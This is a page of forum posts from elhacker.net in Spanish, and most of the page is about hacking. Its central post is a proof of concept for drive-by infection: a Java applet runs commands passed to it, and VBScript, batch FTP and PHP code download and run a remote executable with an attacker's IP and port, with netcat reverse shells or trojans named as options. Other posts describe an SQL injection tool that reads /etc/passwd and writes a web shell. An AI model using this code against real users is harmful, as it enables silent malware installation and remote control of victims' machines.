elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72
631  Programación / Programación Visual Basic / Re: Problema api messenger en: 2 Enero 2009, 01:27 am
Código
  1. Option Explicit
  2. Public WithEvents MSN As MessengerApi.Messenger
  3.  
  4. Private Sub Form_Load()
  5. Set MSN = New MessengerApi.Messenger
  6. End Sub
  7.  

También puedes usar la api sin todo eso directamente:

Código
  1. MessengerApi.Messenger.InstantMessage texto
  2.  

Pero lo más correcto es lo primero.

Saludos
632  Seguridad Informática / Hacking / Re: [POC] Infección Mediante Java Applet y VBScript en: 1 Enero 2009, 23:31 pm
Si, sería interesante probarlo en vista ya que no tuve ocasión de hacerlo. Gracias, pero la idea es de AnalyseR y que lo posteó en milw0rm, nosotros hemos adaptado la info a nuestra manera y hemos añadido lo de los parámetros usando php. Haciendolo así, incluso se puede montar una web que acepte los parametros ip y puerto para netcat (index.php?ip=127.0.0.1&puerto=2000), pero no lo hemos hecho ya que no lo veíamos conveniente, la cantidad de lammers que lo usarían comprometiendo la seguridad de muchos pc's. Así el que lo haga tiene que compilar los códigos y entenderlos  ;).

Saludos
633  Seguridad Informática / Hacking / Re: [POC] Infección Mediante Java Applet y VBScript en: 1 Enero 2009, 23:20 pm
Hm el kis como siempre, jeje, lo detectará por heurística, el script no daba alerta como resultado en novirusthanks. Supongo kis será el único, yo tengo nod32 y ni se percata.

Saludos
634  Seguridad Informática / Hacking / [POC] Infección Mediante Java Applet (y VBScript) en: 1 Enero 2009, 22:50 pm
[POC] Infección Mediante Java Applet (y VBScript)

Fuente milw0rm.com
Autor: AnalyseR

POC y post realizado por Wofo y Hacker_Zero para www.eduhack.es

Bueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.

Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).

Empezamos con el Applet
Lo primero será compilar el siguiente código en Java:

Código
  1. import java.applet.*;
  2. import java.awt.*;  
  3. import java.io.*;
  4. public class skata extends Applet
  5. {
  6.     public void init()
  7.     {
  8.          Process f;
  9.          String first = getParameter("first");
  10.  
  11.           try
  12.           {
  13.                f = Runtime.getRuntime().exec(first);
  14.           }
  15.  
  16.           catch(IOException e)
  17.           {
  18.                e.printStackTrace();
  19.           }
  20.      }
  21. }

Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:

Código
  1. <applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>
  2.  
  3. <param name='first' value='cmd.exe /c msg * Hola Mundo!'>
  4.  

Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.

Para crear el archivo VBS utilizamos Streams de salida en Batch:

Código:
cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs

El siguiente código en VBScript descarga un Archivo binario  y lo ejecuta:

Código
  1. Const adTypeBinary = 1  
  2. Const adSaveCreateOverWrite = 2  
  3. Dim BinaryStream  
  4. Set BinaryStream = CreateObject("ADODB.Stream")  
  5. BinaryStream.Type = adTypeBinary  
  6. BinaryStream.Open  
  7. BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))  
  8. BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite  
  9. Function BinaryGetURL(URL)  
  10. Dim Http  
  11. Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")  
  12. Http.Open "GET", URL, False  
  13. Http.Send  
  14. BinaryGetURL = Http.ResponseBody  
  15. End Function  
  16. Set shell = CreateObject("WScript.Shell")  
  17. shell.Run "cmd.exe /c C:\archivo.exe"
  18.  

Su funcionamiento es muy sencillo:

Código:
Codigo.vbs http://www.pagina.com/archivo.exe C:\archivo.exe

Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".

Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:

Código:
@echo off
echo usuario@nombreftp.com>C:\datos.txt
echo contraseña>>C:\datos.txt
echo cd /path>>C:\datos.txt
echo pwd>>C:\datos.txt
echo binary>>C:\datos.txt
echo get archivo.exe>>C:\datos.txt
echo bye>>C:\datos.txt
echo quit>>C:\datos.txt
ftp -s:C:\datos.txt nombreftp.com
start archivo.exe

El archivo descargado (en nuestro ejemplo [al final del post]) lo único que nos da es una advertencia y la ip y el puerto que le pasamos por php.
Lo de la ip y el puerto funciona gracias a un sencillo código PHP:

Código
  1. <?php
  2. if(isset($HTTP_GET_VARS["ip"])) {
  3. $ip = $HTTP_GET_VARS["ip"];
  4. }
  5. else $ip = 127.0.0.1;
  6.  
  7. if(isset($HTTP_GET_VARS["puerto"])) {
  8. $puerto = $HTTP_GET_VARS["puerto"];
  9. }
  10. else $port = 7173;
  11.  
  12. echo '
  13. <applet width="1" height="1" code="nombreclaseapplet.class" archive="nombreapplet.jar">
  14. <param name="first" value="cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '.$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
  15. </applet>';
  16. ?>
  17.  

Con este código lo que hacemos es editar el código VBs para que ejecute el archivo descargado, pasando como parámetros la ip y el puerto introducidos en la URL.

Para que tengan una mejor idea de lo que digo les dejo el código en C++ del programa que se descarga en el ejemplo:

Código
  1. #include <iostream>
  2.  
  3.  
  4.  
  5. using namespace std;
  6.  
  7.  
  8.  
  9. int main(int argc, char* argv[]) {
  10.  
  11. cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;
  12.  
  13.    cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;
  14.  
  15.    cout << "La ip introducida mediante PHP es " << argv[1] << endl;
  16.  
  17.    cout << "El puerto introducido mediante PHP es " << argv[2] << endl;
  18.  
  19. }
  20.  

Las variables de la url en php se pasan al VBS. Al ejecutar el VBS éste ejecuta nuestro archivo.exe con los parámetros.

Pudiendo hacer esto, las posibilidades que ofrece este método son infinitas... Se puede mandar cualquier programa y ejecutarlo sin que el usuario sospeche nada, imagina que mandamos un netcat con los parámetros para que nos pase una shell, o que mandamos un troyano o lo que sea. Nuevamente digo, las posibilidades son infinitas.

Les dejamos una prueba de concepto en el siguiente link:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/index.php?board=127.0.0.1&topic=7765

Otra poc usando ftp desde la línea de comandos, sin necesidad de vbs:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/indexftp.php?board=127.0.0.1&topic=7765

Como verán, es un fake muy convincente de un post del foro (fake hecho por HACKER_ZERO).
Lo que hace es, cuando ejecutan el applet, crea el codigo en .vbs y lo ejecuta, el cual se encarga de descargar el archivo.exe y ejecutarlo con los parámetros. Ambos archivos se descargan en C:\Windows como apsou.vbs y update.exe.

Testeado usando netcat en:

- Firefox  3.05, Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- IE Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- Firefox  3.05, Windows XP SP2 con Firewall de Windows, Avast y su Firewall activo. (Gracias Shell Killer  ;))



Cualquier duda o pregunta la recibimos con los brazos abiertos.

Salu2
635  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 27 Diciembre 2008, 02:55 am
Ah pos no lo sabía, ya podría darle mil vueltas al código cuando no me funcionara, jaja. Pues no queda más que prescindir de ello si las magic quotes están on  :-(.

Gracias  ;)
636  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 27 Diciembre 2008, 00:49 am
Puede ir en hexa, por eso no hay problema encontreré la forma de pasar los filtros, jeje. Me preocupan más los privilegios.

Saludos
637  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 26 Diciembre 2008, 22:47 pm
la idea esta buena y el programa tambien aunque le faltan algunas cosas como implementar funciones como load_file() , o extraer datos de user de mysql para conectarse a la bd tambien podrias ir probando con algunas tablas predefinidas de las mas comunes al igual que columnas por si information_schema esta desactivada......
o hacer into outfile a un archivo pa sobreescribirle por ej......... por eso es a veces mas facil aserlo a mano aunque con las funciones habilitadas es verdad que facilita mucho el trabajo.

Si esas son buenas ideas, las estoy incorporando a la versión final también, por ejemplo cargar el /etc/passwd y subir una shell con into outfile. Estoy intentando hacer que sea lo más completo posible y que en caso de que el programa no consiga ternimar la inyección, nos devuelva los máximos datos posibles para hacerlo manualmente.

Saludos
638  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 24 Diciembre 2008, 14:03 pm
Haber lo digo otra vez para todos  :P. El programa no es perfecto y no funciona en todos los casos, si se peta es porque no encuentra la forma de sacar información, y si no la saca pues lo mismo. Tambien falla aveces en la detección, y os dice que es vulnerable cuando no lo es, ya expliqué unos post atrás porqué. Si no sabéis inyectar 'a mano' no uséis el programa, ya que pretende ser un complemento no un programa que os lo haga todo  ;).

Saludos
639  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 21 Diciembre 2008, 00:22 am
Jaja totalmente de acuerdo en lo que dices, la cuestión es ir perfeccionando la herramienta, probarla con las máximas páginas posibles para adaptarse lo mejor posible y abarcar el mayor número de casos.

Dos variables, hm, en ésta versión beta le puse que la url sólo pudiese tener 1 variable no sólo porque hay que separar los datos, sinó que el usuario tendría que elegir cual usar o testear las dos y tendría que volver a leer mi desordenado code en .net, jeje. Ahora con java ésto ya tiene otro color, no cuesta nada agregar opciones futuras y cada vez que me pongo a codear se me ocurren nuevas ideas. En la nueva versión estoy pensando tambien en utilizar blind sql, parece fácil de programar una vez tengas un herramienta que haga inyecciones sql y és un muy buen complemento.

Me alegro de que estés codeando algo así a nivel web, así podemos charlar sobre ideas, problemas y hallazgos, jeje.

Saludos
640  Seguridad Informática / Nivel Web / Re: SQL Injection Tool en: 20 Diciembre 2008, 13:02 pm
Bueno, ya estamos trabajando en la nueva versión, de la que ya os adelanto estará programada en Java por lo que será multiplataforma. Conforme al método de deteccion, pues si, tienes toda la razón, por eso muchas veces da falsos positivos, es una de las cosas que estamos tratando de mejorar, como bien dices, la clave es combinar muchos métodos para darle al programa un porcentaje mayor de eficacia.

La segunda pregunta no la entiendo del todo. Las tablas las saca de information_schema con usando limit, ya que usando group_concat(table_name) en muchas páginas no salen todas porque el ancho de la página está limitado. Las columnas las saca con group_concat(column_name) de information_scheta, ya que suelen ser menos columnas y normalmente se pueden mostrar así todas, aunque es otro de los puntos a mejorar, en la nueva versión eligirá el camino mas rápido y efectivo. Para sacar datos de columnas pues no debería tener muchos problemas, sólo que la longitud de los datos está limitada, no sé si puse 50, que si los datos sobrepasan esa longitud no se muestren.

Saludos y gracias por las ideas  :)
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines